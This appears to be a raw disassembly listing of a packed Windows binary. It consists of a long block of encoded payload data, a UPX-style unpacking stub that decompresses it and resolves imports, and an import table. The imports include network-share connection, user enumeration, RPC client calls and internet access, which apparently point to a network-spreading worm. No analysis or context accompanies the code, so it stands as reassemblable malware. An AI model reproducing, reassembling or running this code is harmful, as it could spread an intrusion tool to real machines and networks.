		dd 331F30FDh, 94042A05h, 0FFF0AD15h, 131210FFh,	989B1D80h
		dd 140D1E3Bh, 451EAA0Ah, 170F0D1Ch, 7D538827h, 5DD33ACh
		dd 0B12030Eh, 628020Dh,	9BFF0807h, 110FD0A1h, 1B367A77h
		dd 707163Fh, 12386514h,	0FC2FB7E1h, 141A305Eh, 8403B42h
		dd 4C240E1Eh, 25270C8Eh, 0FDBFF218h, 13AB5BEDh,	271D3B3Fh
		dd 421D4707h, 6A8100Bh,	800D2B30h, 0FFB42FF6h, 30214C0Eh
		dd 0D34250Fh, 5D4D021Eh, 2F300F25h, 0FFE60845h,	12C2ED0Bh
		dd 0F2A0722h, 0B0B156Eh, 0E240A11h, 0DDA11731h,	3615F0BEh
		dd 171A2A05h, 730E1421h, 5051409h, 7F85B637h, 0CE1F2E0Eh
		dd 522A602Ch, 4A1B0D0Ch, 6DF81114h, 2A14E161h, 0CC0EC407h
		dd 31069438h, 0FF142D07h, 8B5F2F0Bh, 0B122207h,	0D41E2909h
		dd 1310285Bh, 295D1116h, 0F685FD23h, 1D093DFFh,	4334440Bh
		dd 38352125h, 5D2A8C19h, 111E2B26h, 7E170B06h, 16B6A9A1h
		dd 52051505h, 94270616h, 0F6FC7719h, 440585DBh,	2494371Ch
		dd 8091914h, 490E1A5Dh,	0B7082648h, 4DC2F85Fh, 0F1C3418h
		dd 216E0F10h, 14087318h, 6C0E125Ah, 10F6FE37h, 0EB190D5Bh
		dd 6340B08h, 711200Eh, 0FF0E4A28h, 0EA2B5B1Bh, 0F123550h
		dd 0D881733h, 1A380606h, 0A36DB24h, 18600AFFh, 2B061223h
		dd 10C1EF20h, 0AD1410FAh, 1A7F4BB5h, 1A073B4Eh,	35192D23h
		dd 0B702A513h, 80B76ED6h, 160C0CD3h, 784A1D0Ch,	6F1A051Fh
		dd 0AFF6FB7h, 0B072332h, 174B160Dh, 54A31110h, 240E1BEDh
		dd 1D160908h, 99CBDD6Bh, 5090D0Bh, 120D112Dh, 6DBC9812h
		dd 1CB1BDCDh, 5134007h,	0E602D1Bh, 0F0BA0A13h, 7616FB7h
		dd 8E051021h, 61150D1Fh, 13372620h, 0DB4B1B26h,	1F097A5Fh
		dd 93F1706h, 0F45110Ah,	0C2E91AA9h, 1631FFB7h, 370E2846h
		dd 36126716h, 0A17180Dh, 8B121426h, 5B8D856Bh, 0A41A131Ch
		dd 0F2E70B0Ch, 6DF1D8D4h, 1A3C1A19h, 38A30A49h,	0FD2AFF0Fh
		dd 1E1AB6A5h, 1029E902h, 574F053Bh, 0DDD2E3CEh,	63CB05Fh
		dd 6E062D23h, 2F223BE8h, 66660584h, 6369428Dh, 0D70B1B1Dh
		dd 0FF1B449Dh, 0AA80B97h, 16291807h, 5A132F5Bh,	0BB1A2808h
		dd 0FE35AD41h, 305AF0D6h, 3C0E3C39h, 9521940Ch,	6F6FFECDh
		dd 294128Dh, 0BF113213h, 13052C3Fh, 0B42C150Eh,	0AB5B0746h
		dd 0E859AE0h, 8C032700h, 0EEFB5B08h, 2A1590EDh,	1F1C34CFh
		dd 12063ABAh, 0F4240D21h, 0DF855C42h, 0F1E0DB6h, 0D1226A3h
		dd 46A42434h, 142850CBh, 73542E2h, 5C6B6360h, 1E141278h
		dd 0FB170C9Ch, 0C2021A87h, 22BDA36Fh, 86883329h, 1E0209F4h
		dd 0F5BF2843h, 2110EDEDh, 103C1E40h, 1D0F1107h,	0F001BFB0h
		dd 0FAF008B2h, 50FFFEBBh, 0F04B0E03h, 0F0DD01D9h, 1F4909D2h
		dd 16F07A4Ch, 1064796Eh, 0FFEB3459h, 4B65EFFFh,	232052D8h
		dd 0F03D7A14h
		dd 0F03104A7h, 0D6F00957h, 24BF005h, 7FFAD0F0h,	326DEC82h
		dd 405D43Ah, 72F0E300h,	0D6F01A01h, 3FFA5A54h, 0CE523A02h
		dd 0A838070Ch, 6DB1A31Ch, 3808D74h, 221AF2Bh, 0B02E3524h
		dd 69206DB0h, 0C1F2B36h, 0E808DF45h, 32880ABFh,	3C07154Dh
		dd 49E84747h, 71115A21h, 6CDC97E1h, 24F80019h, 2F093617h
		dd 0D2AA1246h, 15BE97FFh, 1E727F09h, 331E6804h,	108B0B80h
		dd 7A41922h, 617F0130h,	11C8503h, 0CA82229h, 0C19124Dh
		dd 1BD2FA1Fh, 7D573FFFh, 2C0A5723h, 22119A7Bh, 71A0B2Bh
		dd 50AF285Eh, 0B34D55B8h, 0A51D1B64h, 0DF5B7200h, 220714B6h
		dd 13461915h, 823A309h,	0D4BFDADCh, 220C90FBh, 2326272Ah
		dd 15180027h, 6FE85E58h, 2C2B0C8Fh, 69F01334h, 0F05508h
		dd 2F8BF0D1h, 282DF6FCh, 2EFF0C5h, 41036C10h, 0F91D1A69h
		dd 68DA0600h, 0E000636Ch, 0B9C23902h, 0E352D208h, 0A062BF6h
		dd 5C84D515h, 7E4A8EBh,	0F00500B2h, 0B0041AB7h,	886CA87h
		dd 5C0F03Fh, 214DD51Bh,	0C0210AFh, 0FE491803h, 3F44049h
		dd 0DFCF7700h, 0A005523Dh, 0D143DC5Ah, 0CD54048Fh, 0CF42A8Ch
		dd 3BAC0184h, 1A02392h,	3C040805h, 9B37AA02h, 571E1401h
		dd 0F44ABFC8h, 185A4h, 25C00140h, 1F2157Fh, 10108000h
		dd 4380000h, 4F239006h,	8C018ABAh, 7606001h, 4CCCA809h
		dd 0EE54FB13h, 902BBEC2h, 67A540B0h, 0A4048285h, 9100B325h
		dd 16B35404h, 0BC00A42Fh, 1BD0DBF9h, 18B1Ch, 0E69DDE72h
		dd 1, 0
		dd 0FF1200h, 2 dup(0)
; ---------------------------------------------------------------------------
		cmp	byte ptr [esp+8], 1
		jnz	loc_9C038D
		pusha
		mov	esi, 9B2000h
		lea	edi, [esi-11000h]
		push	edi
		or	ebp, 0FFFFFFFFh
		jmp	short loc_9C01EA
; ---------------------------------------------------------------------------
		align 10h


loc_9C01E0:				; CODE XREF: .text:loc_9C01F1j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi


loc_9C01E6:				; CODE XREF: .text:009C027Ej
					; .text:009C0295j
		add	ebx, ebx
		jnz	short loc_9C01F1


loc_9C01EA:				; CODE XREF: .text:009C01DBj
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_9C01F1:				; CODE XREF: .text:009C01E8j
		jb	short loc_9C01E0
		mov	eax, 1


loc_9C01F8:				; CODE XREF: .text:009C0207j
					; .text:009C0212j
		add	ebx, ebx
		jnz	short loc_9C0203
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_9C0203:				; CODE XREF: .text:009C01FAj
		adc	eax, eax
		add	ebx, ebx
		jnb	short loc_9C01F8
		jnz	short loc_9C0214
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_9C01F8


loc_9C0214:				; CODE XREF: .text:009C0209j
		xor	ecx, ecx
		sub	eax, 3
		jb	short loc_9C0228
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		xor	eax, 0FFFFFFFFh
		jz	short loc_9C029A
		mov	ebp, eax


loc_9C0228:				; CODE XREF: .text:009C0219j
		add	ebx, ebx
		jnz	short loc_9C0233
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_9C0233:				; CODE XREF: .text:009C022Aj
		adc	ecx, ecx
		add	ebx, ebx
		jnz	short loc_9C0240
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_9C0240:				; CODE XREF: .text:009C0237j
		adc	ecx, ecx
		jnz	short loc_9C0264
		inc	ecx


loc_9C0245:				; CODE XREF: .text:009C0254j
					; .text:009C025Fj
		add	ebx, ebx
		jnz	short loc_9C0250
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_9C0250:				; CODE XREF: .text:009C0247j
		adc	ecx, ecx
		add	ebx, ebx
		jnb	short loc_9C0245
		jnz	short loc_9C0261
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_9C0245


loc_9C0261:				; CODE XREF: .text:009C0256j
		add	ecx, 2


loc_9C0264:				; CODE XREF: .text:009C0242j
		cmp	ebp, 0FFFFF300h
		adc	ecx, 1
		lea	edx, [edi+ebp]
		cmp	ebp, 0FFFFFFFCh
		jbe	short loc_9C0284


loc_9C0275:				; CODE XREF: .text:009C027Cj
		mov	al, [edx]
		inc	edx
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_9C0275
		jmp	loc_9C01E6
; ---------------------------------------------------------------------------
		align 4


loc_9C0284:				; CODE XREF: .text:009C0273j
					; .text:009C0291j
		mov	eax, [edx]
		add	edx, 4
		mov	[edi], eax
		add	edi, 4
		sub	ecx, 4
		ja	short loc_9C0284
		add	edi, ecx
		jmp	loc_9C01E6
; ---------------------------------------------------------------------------


loc_9C029A:				; CODE XREF: .text:009C0224j
		pop	esi
		mov	edi, esi
		mov	ecx, 4E3h


loc_9C02A2:				; CODE XREF: .text:009C02A9j
					; .text:009C02AEj
		mov	al, [edi]
		inc	edi
		sub	al, 0E8h


loc_9C02A7:				; CODE XREF: .text:009C02CCj
		cmp	al, 1
		ja	short loc_9C02A2
		cmp	byte ptr [edi],	0Bh
		jnz	short loc_9C02A2
		mov	eax, [edi]
		mov	bl, [edi+4]
		shr	ax, 8
		rol	eax, 10h
		xchg	al, ah
		sub	eax, edi
		sub	bl, 0E8h
		add	eax, esi
		mov	[edi], eax
		add	edi, 5
		mov	al, bl
		loop	loc_9C02A7
		lea	edi, [esi+1D000h]


loc_9C02D4:				; CODE XREF: .text:009C02F6j
		mov	eax, [edi]
		or	eax, eax
		jz	short loc_9C031F
		mov	ebx, [edi+4]
		lea	eax, [eax+esi+20000h]
		add	ebx, esi
		push	eax
		add	edi, 8
		call	dword ptr [esi+20140h]
		xchg	eax, ebp


loc_9C02F1:				; CODE XREF: .text:009C0317j
		mov	al, [edi]
		inc	edi
		or	al, al
		jz	short loc_9C02D4
		mov	ecx, edi
		jns	short near ptr loc_9C0302+1
		movzx	eax, word ptr [edi]
		inc	edi
		push	eax
		inc	edi


loc_9C0302:				; CODE XREF: .text:009C02FAj
		mov	ecx, 0AEF24857h
		push	ebp
		call	dword ptr [esi+20144h]
		or	eax, eax
		jz	short loc_9C0319
		mov	[ebx], eax
		add	ebx, 4
		jmp	short loc_9C02F1
; ---------------------------------------------------------------------------


loc_9C0319:				; CODE XREF: .text:009C0310j
		popa
		xor	eax, eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_9C031F:				; CODE XREF: .text:009C02D8j
		add	edi, 4
		lea	ebx, [esi-4]


loc_9C0325:				; CODE XREF: .text:009C0341j
		xor	eax, eax
		mov	al, [edi]
		inc	edi
		or	eax, eax
		jz	short loc_9C0350
		cmp	al, 0EFh
		ja	short loc_9C0343


loc_9C0332:				; CODE XREF: .text:009C034Ej
		add	ebx, eax
		mov	eax, [ebx]
		xchg	al, ah
		rol	eax, 10h
		xchg	al, ah
		add	eax, esi
		mov	[ebx], eax
		jmp	short loc_9C0325
; ---------------------------------------------------------------------------


loc_9C0343:				; CODE XREF: .text:009C0330j
		and	al, 0Fh
		shl	eax, 10h
		mov	ax, [edi]
		add	edi, 2
		jmp	short loc_9C0332
; ---------------------------------------------------------------------------


loc_9C0350:				; CODE XREF: .text:009C032Cj
		mov	ebp, [esi+20148h]
		lea	edi, [esi-1000h]
		mov	ebx, 1000h
		push	eax
		push	esp
		push	4
		push	ebx
		push	edi
		call	ebp
		lea	eax, [edi+22Fh]
		and	byte ptr [eax],	7Fh
		and	byte ptr [eax+28h], 7Fh
		pop	eax
		push	eax
		push	esp
		push	eax
		push	ebx
		push	edi
		call	ebp
		pop	eax
		popa
		lea	eax, [esp-80h]


loc_9C0384:				; CODE XREF: .text:009C0388j
		push	0
		cmp	esp, eax
		jnz	short loc_9C0384
		sub	esp, 0FFFFFF80h


loc_9C038D:				; CODE XREF: .text:009C01C5j
		jmp	start
; ---------------------------------------------------------------------------
		align 4
		dd 31Eh	dup(0)
		dd 211C8h, 21140h, 3 dup(0)
		dd 211D5h, 21158h, 3 dup(0)
		dd 211E2h, 21160h, 3 dup(0)
		dd 211EAh, 21168h, 3 dup(0)
		dd 211F5h, 21170h, 3 dup(0)
		dd 21202h, 21178h, 3 dup(0)
		dd 2120Ch, 21180h, 3 dup(0)
		dd 21219h, 21188h, 3 dup(0)
		dd 21224h, 21190h, 3 dup(0)
		dd 21230h, 21198h, 3 dup(0)
		dd 2123Ch, 211A0h, 3 dup(0)
		dd 21247h, 211A8h, 3 dup(0)
		dd 21252h, 211B0h, 3 dup(0)
		dd 2125Eh, 211B8h, 3 dup(0)
		dd 2126Ah, 211C0h, 5 dup(0)
		dd 7C801D77h, 7C80ADA0h, 7C801AD0h, 7C809A51h, 7C809AE4h
		dd 0
		dd 77DD7A80h, 0
		dd 71B2578Ch, 0
		dd 77C36BD0h, 0
		dd 5B894541h, 0
		dd 774FEE36h, 0
		dd 77124920h, 0
		dd 77EF34D0h, 0
		dd 7C9EC6A0h, 0
		dd 77F8C48Eh, 0
		dd 78161DFDh, 0
		dd 7E423DCEh, 0
		dd 77C018BAh, 0
		dd 7806C865h, 0
		dd 71AB3B91h, 0
		db  4Bh	; K
		db 45h,	52h, 4Eh
		db  45h	; E
		db 4Ch,	33h, 32h
		db  2Eh	; .
		db 44h,	2 dup(4Ch)
		db    0
		db 41h,	44h, 56h
		db  41h	; A
		db 50h,	49h, 33h
		db  32h	; 2
		db 2Eh,	64h, 6Ch
		db  6Ch	; l
		align 2
		dw 504Dh
		db  52h	; R
		db 2Eh,	64h, 6Ch
		db  6Ch	; l
		align 2
		dw 534Dh
		db  56h	; V
		db 43h,	52h, 54h
		db  2Eh	; .
		db 64h,	2 dup(6Ch)
		db    0
		db 4Eh,	45h, 54h
		db  41h	; A
		db 50h,	49h, 33h
		db  32h	; 2
		db 2Eh,	64h, 6Ch
		db  6Ch	; l
		align 2
		dw 6C6Fh
		db  65h	; e
		db 33h,	32h, 2Eh
		db  64h	; d
		db 2 dup(6Ch), 0
		db  4Fh	; O
		db 4Ch,	45h, 41h
		db  55h	; U
		db 54h,	33h, 32h
		db  2Eh	; .
		db 64h,	2 dup(6Ch)
		db    0
		db 52h,	50h, 43h
		db  52h	; R
		db 54h,	34h, 2Eh
		db  64h	; d
		db 2 dup(6Ch), 0
		db  53h	; S
		db 48h,	45h, 4Ch
		db  4Ch	; L
		db 33h,	32h, 2Eh
		db  64h	; d
		db 2 dup(6Ch), 0
		db  53h	; S
		db 48h,	4Ch, 57h
		db  41h	; A
		db 50h,	49h, 2Eh
		db  64h	; d
		db 2 dup(6Ch), 0
		db  75h	; u
		db 72h,	6Ch, 6Dh
		db  6Fh	; o
		db 6Eh,	2Eh, 64h
		db  6Ch	; l
		db 6Ch,	0, 55h
		db  53h	; S
		db 45h,	52h, 33h
		db  32h	; 2
		db 2Eh,	64h, 6Ch
		db  6Ch	; l
		align 2
		dw 4556h
		db  52h	; R
		db 53h,	49h, 4Fh
		db  4Eh	; N
		db 2Eh,	64h, 6Ch
		db  6Ch	; l
		align 2
		dw 4957h
		db  4Eh	; N
		db 49h,	4Eh, 45h
		db  54h	; T
		db 2Eh,	64h, 6Ch
		db  6Ch	; l
		align 2
		dw 5357h
		db  32h	; 2
		db 5Fh,	33h, 32h
		db  2Eh	; .
		db 64h,	2 dup(6Ch)
		db    0
		align 2
aLoadlibrarya	db 'LoadLibraryA',0
		align 4
aGetprocaddress	db 'GetProcAddress',0
		align 4
aVirtualprotect	db 'VirtualProtect',0
		align 4
aVirtualalloc	db 'VirtualAlloc',0
		align 2
aVirtualfree	db 'VirtualFree',0
		align 10h
aFreesid_0	db 'FreeSid',0
		db    0
		align 2
aWnetaddconnect	db 'WNetAddConnection2W',0
		align 10h
aAbs		db 'abs',0
		db    0
		align 2
aNetuserenum	db 'NetUserEnum',0
		align 4
aCouninitiali_0	db 'CoUninitialize',0
		align 4
aNdrclientcal_0	db 'NdrClientCall2',0
		align 4
aStrstria	db 'StrStrIA',0
		align 2
aObtainuserag_0	db 'ObtainUserAgentString',0
		dd 65470000h, 676C4474h, 6D657449h, 65560000h, 65755172h
		dd 61567972h, 4165756Ch, 6E490000h, 6E726574h, 704F7465h
		dd 416E65h, 20000h, 0Ch, 31CDh
		db 2 dup(0)
		dw ?
		dd 324h	dup(?)
_text		ends


		end start